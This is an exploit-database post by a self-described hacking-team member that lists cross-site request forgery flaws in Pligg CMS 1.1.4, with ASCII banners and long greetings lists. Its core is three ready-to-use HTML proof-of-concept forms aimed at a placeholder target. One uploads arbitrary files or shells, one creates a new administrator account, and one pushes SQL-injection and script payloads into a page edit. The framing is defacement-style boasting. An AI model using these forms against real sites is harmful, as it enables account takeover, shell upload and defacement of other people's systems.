Pligg CMS 1.1.4 Cross Site Request Forgery

`1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : 1337day.com 0  
1 [+] Support e-mail : submit[at]1337day.com 1  
0 0  
1 ######################################### 1  
0 I'm KedAns-Dz member from Inj3ct0r Team 1  
1 ######################################### 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
###  
# Title : Pligg CMS v1.1.4 Multiple (XSRF/CSRF) Vulnerabilities  
# Author : KedAns-Dz  
# E-mail : [email protected] ([email protected]) | [email protected]  
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)  
# Web Site : www.1337day.com * www.exploit-id.com * www.09exploit.com  
# Twitter page : twitter.com/kedans  
# platform : php  
# Impact : Arbitrary File/Shell Upload + Add New User + SQLi & XSS  
# Tested on : [Windows XP sp3 FR] & [Linux.(Ubuntu 10.10) En] & [Mac OS X 10.6.1] & [BSDi-BSD/OS 4.2]  
###  
# xXx < Greetings to 'indoushka' at the Jail ... and to his mother 'Rebbi Ya3tik eSber' > xXx  
###  
  
# (!) Vulnerability Details :  
  
Attacker can Upload arbitrary Files or Add New Users ,alter queries to the application SQL database,  
execute arbitrary queries to the database, compromise the application, access or modify sensitive data...  
All This Vulnerabilities from Cross-Site Request Forgery ! .  
  
# (!) Exploits :  
  
#==[ PoC (1) ]====>  
  
<h1> (XSRF) Upload File :</h1>  
<form method="post" action='http://[Target]/modules/upload/upload.php' enctype="multipart/form-data">  
<input type='hidden' name='id' value='1337'>  
<input type='hidden' name='number' value='1337'>  
<input style='margin-bottom:5px' size='40' type='file' name='upload_files[]' onchange='submitUploadForm(this.form)'>  
<input type='submit' value='Upload' onclick='submitUploadForm(this.form)'>  
</form>  
  
#==[ PoC (2) ]====>  
  
<h1> (CSRF) Add New User :</h1>  
<form action="http://[target]/admin/admin_users.php" method="post" onsubmit="validate();" class="form">  
<input name="username" type="text" class="textbox" id="username" value="KedAns-Dz" />  
<input name="email" type="text" class="textbox" id="city" value="[email protected]" />  
<select name="level">  
<option value="admin">Admin</option>  
</select>  
<input name="password" type="text" class="textbox" id="password" value="" />  
<input type="hidden" name="mode" value="newuser">  
<input type="submit" value="Create User" class="log2 buttons buttonright" />  
</form>  
  
#==[ PoC (3) ]====>  
  
<h1> (XSRF) SQLi & XSS :</h1>  
<form action="http://[Target]/{Page}.php" method="POST" id="thisform">  
<input type="text" name="page_title" id="page_title" size="66" value=" HaCked By KedAns-Dz "/>  
<input type="text" name="page_keywords" id="page_keywords" size="66" value="'SQLi+Code+Here"/>  
<input type="text" name="page_description" id="page_description" size="66" value="<script>alert('XSS-Here');<script>"/>  
<input type="submit" name="submit" value="Submit" class="log2" />  
<input type="hidden" name="process" value="edit_page" />  
</form>  
  
# (^_^) ! Good Luck ALL ...  
  
#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================   
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride  
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com)   
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu  
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke  
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)  
# JaGo-Dz (sec4ever.com) * CEO (0nto.me) * PaCketStorm Team (www.packetstormsecurity.org)  
# www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs ...  
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-  
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever   
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm  
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz  
#================================================================================================  
`